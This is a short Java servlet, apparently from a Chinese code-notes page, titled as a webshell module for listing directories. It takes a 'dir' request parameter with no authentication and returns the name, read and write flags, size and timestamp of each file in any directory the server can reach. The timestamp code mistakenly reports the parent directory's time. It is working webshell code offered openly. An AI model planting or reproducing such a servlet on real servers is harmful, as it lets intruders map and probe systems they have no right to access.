webshell 列目录

package FileManager;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.List;
public class fmServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doPost(req, resp);
    }
    @Override
    protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setCharacterEncoding("GBK");
        String web_dir = request.getParameter("dir");
        List<String> current_dirs = list_dir(web_dir);
        for(String i:current_dirs){
            response.getWriter().println(i);
        }
    }
    public static List<String> list_dir(String web_dir) throws IOException {
        List<String> listFile = new ArrayList<>();
        if(web_dir == null || web_dir.equals("")){ web_dir = "."; }
        File file = new File(web_dir);
        File[] files = file.listFiles();
        if(files != null && files.length >0){
            for (File temp: files){
                listFile.add(temp.getName() + " || 是否为目录 " + temp.isDirectory() +
                        " || 是否可读 " + temp.canRead() + " || 是否可写 " + temp.canWrite() +
                        " || 文件大小 " + temp.length() +
                        " || 最后修改时间 " + (new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(file.lastModified()));
            }
        }
        return listFile;
    }
}